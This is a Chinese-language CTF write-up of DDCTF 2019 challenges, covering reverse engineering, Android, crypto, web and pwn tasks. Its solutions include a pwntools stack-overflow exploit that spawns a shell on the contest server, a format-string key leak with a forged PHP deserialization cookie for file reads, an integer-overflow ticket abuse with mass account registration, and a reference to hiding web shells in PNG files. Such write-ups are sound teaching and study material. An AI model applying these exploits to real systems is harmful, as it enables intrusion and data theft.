DDCTF 2019

Catalpa 网络安全爱好者

最近打了 DDCTF。

真-签到题

在公告里面找到 flag

Windows Reverse1

加了 UPX 的壳,在 linux 下用 upx -d 脱掉,然后分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-804h]
char v5; // [esp+5h] [ebp-803h]
char v6; // [esp+404h] [ebp-404h]
char Dst; // [esp+405h] [ebp-403h]

v6 = 0;
memset(&Dst, 0, 0x3FFu);
v4 = 0;
memset(&v5, 0, 0x3FFu);
printf("please input code:");
scanf("%s", &v6);
check(&v6);
if ( !strcmp(&v4, "DDCTF{reverseME}") )
printf("You've got it!!%s\n", &v4);
else
printf("Try again later.\n");
return 0;
}

获取用户输入之后就进入 check 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int __cdecl check(const char *a1)
{
_BYTE *v1; // ecx
unsigned int v2; // edi
unsigned int result; // eax
const char *v4; // ebx

v2 = 0;
result = strlen(a1);
if ( result )
{
v4 = (a1 - v1);
do
{
*v1 = byte_402FF8[v1[v4]];
++v2;
++v1;
result = strlen(a1);
}
while ( v2 < result );
}
return result;
}

静态来看似乎是以输入为索引,在一个表中查找相应的字符出来,后续用 OD 调试也印证了这一猜测。

随后将取出的字符和 “DDCTF{reverseME}” 去比较,如果相等说明输入是正确的,那么编写脚本找出这些 index 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
s = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 126, 125, 124, 123, 122, 121, 120, 119, 118, 117, 116, 115, 114, 113, 112, 111, 110, 109, 108, 107, 106, 105, 104, 103, 102, 101, 100, 99, 98, 97, 96, 95, 94, 93, 92, 91, 90, 89, 88, 87, 86, 85, 84, 83, 82, 81, 80, 79, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32]
for i in range(len(s)):
if s[i] == ord('D'):
print("index of D is " + chr(i))
elif s[i] == ord('C'):
print("index of C is " + chr(i))
elif s[i] == ord('T'):
print("index of T is " + chr(i))
elif s[i] == ord('F'):
print("index of F is " + chr(i))
elif s[i] == ord('{'):
print("index of { is " + chr(i))
elif s[i] == ord('}'):
print("index of } is " + chr(i))
elif s[i] == ord('r'):
print("index of r is " + chr(i))
elif s[i] == ord('e'):
print("index of e is " + chr(i))
elif s[i] == ord('v'):
print("index of v is " + chr(i))
elif s[i] == ord('s'):
print("index of s is " + chr(i))
elif s[i] == ord('M'):
print("index of M is " + chr(i))
elif s[i] == ord('E'):
print("index of E is " + chr(i))

# ZZ[JX#,9(9,+9QY!

重新排列字符即可得到 flag (当然也可以通过调试直接拿 flag)。

flag: ZZ[JX#,9(9,+9QY!

Windows Reverse2

加了 ASP 的壳,我试了几个脱壳工具都不能正常脱壳,索性带着壳直接调试,利用 ESP 定律 + 字符串搜索定位到主函数,简单看了一下,第一个关键函数在 0x11611f0(这个地址可能不一样,但是就在 scanf 函数下方),它用来验证输入是否由 16 进制字符串构成,即我们的输入只能由 09 + AF 组成,随后还会将输入两两一组转换成真正的十六进制。

另外一个函数动态分析看到解密了字符串,’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/‘,很明显是 BASE64 算法的表盘,猜测这个函数实现了 BASE64 编码或者解码,最终将结果和 reverse+ 进行比较。编写脚本对 reverse+ 字符串进行 base64 解码得到正确的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
import base64
s = [55, 52, 53, 50, 51, 48, 49, 62, 63, 60, 61, 58, 59, 56, 57, 38, 39, 36, 37, 34, 35, 32, 33, 46, 47, 44, 23, 20, 21, 18, 19, 16, 17, 30, 31, 28, 29, 26, 27, 24, 25, 6, 7, 4, 5, 2, 3, 0, 1, 14, 15, 12, 70, 71, 68, 69, 66, 67, 64, 65, 78, 79, 93, 89]
t = ""
for i in s:
t += chr(i ^ 0x76)
print t

print(base64.b64decode("reverse+"))

# \xad\xeb\xde\xae\xc7\xbe
# ADEBDEAEC7BE

flag: ADEBDEAEC7BE

[PWN] strike

漏洞在于输入长度的时候没有考虑为负数的情况,当输入一个负数的时候发生整数溢出回绕到一个非常大的正数,导致栈溢出。

另外在读取 username 的时候没有补零,导致信息泄露。

思路是通过信息泄露找到 libc 的地址和 ebp 的地址(栈的地址),然后通过栈溢出返回到 onegadget getshell。

注意到发生栈溢出的函数结尾有以下汇编代码

1
2
3
4
5
6
lea     esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn

并不是常规的 leave ret 结构,所以构造利用链就稍稍复杂一些,另外服务器上面的 libc 和本地的 libc 好像稍有不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding=utf-8
from pwn import *

binary = "./xpwn"
ip = "116.85.48.105"
port = 5005
local = 0

libc = ELF("./libc.so.6")

context(log_level="DEBUG", arch="i386", os="linux")
if local == 1:
p = process(binary)
if local == 0:
p = remote(ip,port)

p.recvuntil("Enter username: ")
p.sendline("a" * 60)
p.recvuntil("Hello " + "a" * 60 + '\x0a')
libc_addr = u32('\x50' + p.recv(3)) - libc.symbols['setbuf']
log.info("libc_addr: %x" % libc_addr)
one_gadget = libc_addr + 0x3a819
p.recv(8)
ebp_addr = u32(p.recv(4))
log.info("ebp_addr : 0x%x" % ebp_addr)
log.info("one_gadget: %x" % one_gadget)
sleep(2)
p.recvuntil("Please set the length of password: ")
p.sendline("-1")
p.recvuntil(": ")
payload = 'a' * 68 + p32(ebp_addr + 4) + "bbbb" + p32(one_gadget) + p32(ebp_addr + 8)
p.sendline(payload)
p.interactive()

# DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

flag: DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

Confused

用 objective-C 编写的程序, IDA 打开程序发现反编译的效果相当不错,并且没有去除符号信息。

不能执行程序就只能静态分析,在 checkcode 函数中找到了具体的验证算法,简单分析一下,程序实现了一个虚拟机,从代码段取出 opcode,然后利用 loader 函数执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
bool __fastcall loader(vm *a1)
{
bool result; // al
bool v2; // [rsp+Fh] [rbp-11h]
signed int i; // [rsp+10h] [rbp-10h]
signed int v4; // [rsp+14h] [rbp-Ch]

v4 = 0;
i = 0;
while ( 1 )
{
v2 = 0;
if ( !v4 )
v2 = i < 9;
result = v2;
if ( !v2 )
break;
if ( *a1->opcode == *(&a1->op1 + 16 * i) ) // call every func
{
v4 = 1;
(*(&a1->op1_func + 2 * i))(a1);
}
else
{
++i;
}
}
return result;
}

其中虚拟机结构体恢复如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
00000000 vm              struc ; (sizeof=0xB0, mappedto_59)
00000000 temp1 dd ?
00000004 temp2 dd ?
00000008 temp3 dd ?
0000000C temp4 dd ?
00000010 bool dd ?
00000014 unknown dd ?
00000018 opcode dq ?
00000020 op1 dq ?
00000028 op1_func dq ?
00000030 op2 dq ?
00000038 op2_func dq ?
00000040 op3 dq ?
00000048 op3_func dq ?
00000050 op4 dq ?
00000058 op4_func dq ?
00000060 op5 dq ?
00000068 op5_func dq ?
00000070 op6 dq ?
00000078 op6_func dq ?
00000080 op7 dq ?
00000088 op7_func dq ?
00000090 op8 dq ?
00000098 op8_func dq ?
000000A0 op9 dq ?
000000A8 op9_func dq ?
000000B0 vm ends
000000B0

opcode 从 0x000000100001984 地址开始,分析前几条指令得到大致如下的程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
vm -> temp1 = 0x66
vm -> temp1 = 0x68 'h'
vm -> temp1 == flag[0] ? vm -> temp5 = 1 : vm -> temp5 = 0
judge vm -> temp5 == 1 ? if not --> fail

vm -> temp1 = 0x63
vm -> temp1 = 0x65 'e'
vm -> temp1 == flag[1] ? vm -> temp5 = 1 : vm -> temp5 = 0
judge vm -> temp5 == 1 ? if not --> fail

vm -> temp1 = 0x6A
vm -> temp1 = 0x6c 'l'
vm -> temp1 == flag[1] ? vm -> temp5 = 1 : vm -> temp5 = 0
judge vm -> temp5 == 1 ? if not --> fail

vm -> temp1 = 0x6A
vm -> temp1 = 0x6c 'l'
vm -> temp1 == flag[1] ? vm -> temp5 = 1 : vm -> temp5 = 0
judge vm -> temp5 == 1 ? if not --> fail

先取出一个字节,然后做一个偏移量为 2 的凯撒加密,再和我们的输入进行比较。

将里面的密文取出来,做一次凯撒解密即可得到 flag

flag: DDCTF{helloYouGotTheFlag}

Wireshark

题目给了一个数据包,直接用 wireshark 打开,过滤出 http 流量,首先找到了一个网站

1
http://tools.jb51.net/aideddesign/img_add_info

猜测流量包里面用到了这个隐写工具。

然后在一个上传图片的流量包中找到一个 绿色钥匙的图片,在 linux 下面提示 CRC 错误,这通常是由于图片长宽错误导致的。利用 010 editor 修改图片高度拿到一个 key: 57pmYyWt

又找到了另外两张图片,内容一样但是大小不同,将这两张图片传到之前的网站上进行解密,从较大的那张图(1.9M 左右)取得 flag

flag: DDCTF{QEWokcpHeUo2WOfBIN7pogIWsF04iRjt}

滴~

观察 url

1
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

将 jpg 参数后面跟的字符串解码得出字符串 flag.jpg,也就是说我们传入的参数也要进行 转 16 进制 -> BASE64ENCODE -> BASE64ENCODE 才行。

先读取一下 index.php 的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

意思大概是输入的字符串只能包含字母数字和小数点,并且如果包含 config 字符串,会被替换成 !。

访问给出的博客,按照下面的日期找到博主的一篇文章

1
https://blog.csdn.net/FengBanLiuYun/article/details/80913909

尝试访问 practice.txt.swp 得到提示

1
f1ag!ddctf.php

于是构造 jpg 参数为

1
TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

再构造 url

1
http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp

得到 flag: DDCTF{436f6e67726174756c6174696f6e73}

obfuscating macros

控制流平坦化的一道题目,混淆了两个函数。

首先尝试使用科恩实验室给的脚本 deflat.py,但是在符号执行阶段会卡住,不知道是不是 angr 版本的问题,修复操作失败,但是从 IDA 中看被混淆的函数的伪代码感觉真正的逻辑不会太复杂,于是采用调试的方法,通过在 flag 的位置下硬件断点来追踪程序流程。

总结出两个被混淆的函数的流程,第一个函数限制输入必须是十六进制的字符,和 Windows Reverse2 的算法类似,之后会将输入转换成真正的 16 进制数据。

第二个函数是主要算法,流程如下

1
2
3
4
5
6
7
8
检查 flag[0] 是否等于 0?
0x79 - flag[0] 放在另一块内存中
检查 上一步操作结果是否为零

循环,取出 flag[1] 检查是否等于 0?
0x40 - flag[0] 放在另一块内存中
检查结果是否为 0?
函数逻辑为检查字符串是否达到结尾,如果是则跳出,否则进行减法操作,要求输入和程序硬编码的字符串相等。

将硬编码的字节全部取出就可以得到 flag

flag: 79406C61E5EEF319CECEE2ED8498

Web 签到题

进去提示需要先获取权限,在 JS 中发现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

那么就在 POST 请求头添加一个 didictf_username 字段试试

1
您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php

拿到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
url:app/Application.php
Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
url:app/Session.php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

存在格式化字符串漏洞

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

将 nickname 设置为 %s 可以泄露出 key

1
2
3
4
5
6
7
8
9
10
11
#coding: utf-8
import requests

url = 'http://117.51.158.44/app/Session.php'
cookies = {'ddctf_id':'a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ac6ff9a13dbdcd35416e41e7f53cd52f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22219.218.130.133%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A78%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A66.0%29+Gecko%2F20100101+Firefox%2F66.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D728397b258b90c6231b124d3a492bb48'}
headers = {'didictf_username':'admin', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'}
data = {'nickname':'%s'}
s = requests.Session()

r = s.post(url,headers=headers,cookies=cookies,data=data)
print(r.text)
1
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko\/20100101 Firefox\/66.0"}

得到 key:EzblrbNS

然后利用 Application 中析构函数读文件的能力读取 flag ,构造一个满足要求的 cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding: utf-8

import requests

url = 'http://117.51.158.44/app/Session.php'
cookies = {'ddctf_id':'O%3a11%3a%22Application%22%3a1%3a%7bs%3a4%3a%22path%22%3bs%3a21%3a%22...%2f.%2fconfig%2fflag.txt%22%3b%7d5a014dbe49334e6dbb7326046950bee2'}
headers = {'didictf_username':'admin', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'}
data = {'nickname':'%s'}
s = requests.Session()
r = s.post(url,headers=headers,cookies=cookies,data=data)
#r = s.post(url,headers=headers)
print(r.text)

1
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

联盟决策大会

题目给出了很明确的提示,Shamir秘密分享方案,从 wiki 上面简单了解了一下原理,大概意思就是将一个秘密按照一定的算法分成 k 份(分给 k 个人),并且制定了一个方案,大于等于 n 个人(n < k) 可以将自己手中的秘密合并起来得到完整的秘密,但是小于 n 个人是无论如何都不能解出原始的秘密的。

plaid CTF 2012 有一题和本题很相似,脚本拿来修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from libnum import *

p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
pairs = []
pairs += [(1, 4470518445270315294253865008865808469591813925340527555511144870776210371333461962571100355988938503377974496098260851399298392762768768321710499151173494)]
pairs += [(2, 8941036890540630588507730017731616939183627850681055111022287516566391215447315659339930733926206804504075152291658988777248041197116052099144174634617967)]
# pairs += [(1, 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)]
# pairs += [(2, 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)]
# pairs += [(4, 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)]
# pairs += [(3, 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA)]
# pairs += [(4, 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9)]
# pairs += [(5, 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45)]
res = 0
for i, pair in enumerate(pairs):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res += (y * top * invmod(bottom, p)) % p
res %= p

print res
print n2s(res)
#raw_input()
pairs = []

# 4470518445270315294253865008865808469591813925340527555511144870776210371333461962571100355988938503377974496098260851399298392762768768321710499151173494
# 8941036890540630588507730017731616939183627850681055111022287516566391215447315659339930733926206804504075152291658988777248041197116052099144174634617967
# DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}

flag: DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}

需要注意的是题目中提到了两个组织,我们需要对这两个组织分别解密,例如组织一的密文为

1
2
3
[(1,0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)]
[(2,0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)]
[(4,0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)]

解密得到

1
4470518445270315294253865008865808469591813925340527555511144870776210371333461962571100355988938503377974496098260851399298392762768768321710499151173494

以此类推,得到组织二

1
8941036890540630588507730017731616939183627850681055111022287516566391215447315659339930733926206804504075152291658988777248041197116052099144174634617967

然后利用密文

1
2
pairs += [(1, 4470518445270315294253865008865808469591813925340527555511144870776210371333461962571100355988938503377974496098260851399298392762768768321710499151173494)]
pairs += [(2, 8941036890540630588507730017731616939183627850681055111022287516566391215447315659339930733926206804504075152291658988777248041197116052099144174634617967)]

才能计算出 flag。

Upload-IMG

要求上传一个图片,并且里面要包含 phpinfo() 字符串,之前看到比较类似的题目,用脚本将字符串藏在图片中就可以。

1
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

参考链接

1
http://www.cnblogs.com/airobot/p/5303762.html

Have Fun

JEB 分析,JAVA 层的代码好像经过混淆,大部分变量名和函数名都被替换成了特殊字符。找到了貌似是主要函数的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    private void key(String flag) {
xq v5;
int v0 = 24;
byte[] v0_1 = new byte[v0];
int v1 = 23;
byte[] v1_1 = new byte[v1];
boolean v2 = TextUtils.isEmpty(((CharSequence)flag));
if(v2) {
flag = MainActivity.dec_string(v0_1);
this.(flag);
v5 = this.input_flag_here;
v5.setEnabled(true);
return;
}

flag = this.enc(flag);
boolean v5_1 = JniUtils.helloDidi(flag);
flag = v5_1 ? MainActivity.dec_string(v1_1) : MainActivity.dec_string(v0_1);
this.(flag);
if(this.input_flag_here != null) {
v5 = this.input_flag_here;
v5.setEnabled(true);
}
}
}

输入 flag 之后传入 enc 函数,这个函数又调用了 assert 中 dex 的代码。

(程序中的一些字符串经过加密,解密函数由于未知原因不能反编译,我编写了以下脚本对字符串解密)

1
2
3
4
5
6
7
8
9
s = [46, -100, 13, -127, -18, 105]
t = ""
i = len(s) - 1
while i > 0:
temp = (s[i] - s[i - 1] - 8) & 0xff
i -= 1
t += chr(temp)
t += chr(s[0] ^ 1)
print(t[::-1])

最后会传入 so 中进行对比验证,密文为

1
@n|ixihPIppqws

但是按照 dex 中的逻辑往回推算得到的字符串为

1
;huao_]D<baafa

然而这个东西输入程序不正确。

静态分析到这里就走不下去了,于是采用动态分析的办法,用 android studio + xposed 拦截加密结果

1
2
3
4
5
6
7
8
9
10
if ("com.didictf_2019.didicft2019_mobile".equals(loadPackageParam.packageName)) {
XposedHelpers.findAndHookMethod("com.didictf_2019.didicft2019_mobile.JniUtils", loadPackageParam.classLoader, "helloDidi",String.class, new XC_MethodHook() {

@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
Log.e(">",(String) param.args[0]);
}
});
}

例如,输入样例为 14 个 ‘a’,拦截到的加密结果为

1
ihkjmlonqpsrut

接着输入 14 个 ‘b’,得到解密结果

1
jkhinolmrspqvw

密文很有规律,尝试将它们分别与原文异或发现加密算法很简单,按位与 [8,9,10,11,12,13,14,15,16,17,18,19,20,21] 进行异或运算。

将原始密文异或上面的列表即可得到正确 flag。

flag: Hgvbtdf_Yabbcf

大吉大利,今晚吃鸡~

测试整数溢出,买票的时候抓包,修改票价为 4294967296,然后去支付页面购买。

买票之后要通过 id 和 ticket 移除对手,自己重新注册了一个账号可以成功移除,那么编写脚本批量注册账号移除对手就可以了(由于 id 的原因,移除的对手越多,移除的速度就越慢,所以需要多开几个脚本同时执行)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
id=[]
ticket=[]
bill_id_str = re.compile('bill_id":"([\w-]+)"')
ticket_str = re.compile('{"id":([\d]+),"ticket":"([\w]+)"}')
def exp(name):
global id,ticket
s=requests.Session()
name="catalpa"+str(name)
s.get("http://117.51.147.155:5050/ctf/api/register?name="+name+"&password=12345678").text
s.get("http://117.51.147.155:5050/ctf/api/login?name="+name+"&password=12345678").text
bill_id= bill_id_str.findall(s.get("http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296").text)[0]
s.get("http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+bill_id)
ans= ticket_str.findall(s.get("http://117.51.147.155:5050/ctf/api/search_ticket").text)
url = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket="+ans[0][1]+"&id="+ans[0][0]
cookies = {"user_name": "fuck123123", "REVEL_SESSION": "2a98bec870dd806523ce9dcd3e8ebd14"}
headers = {"Accept": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Referer": "http://117.51.147.155:5050/index.html", "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", "Connection": "close"}
id.append(ans[0][0])
ticket.append(ans[0][1])

for i in range(10000,20000):
exp("catalpa" + i)

flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}

MulTzor

题目名字可能要表达 mult xor,即异或加密。

直接用 featherduster autopwn 一把梭。

1
2
3
4
5
6
7
8
9
10
Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory.

The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures, properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read.

The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish General Staff's Cipher Bureau in December 1932, with the aid of French-supplied intelligence material obtained from a German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland, core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the British at Bletchley Park continued until June 1940, when France surrendered to the Germans.

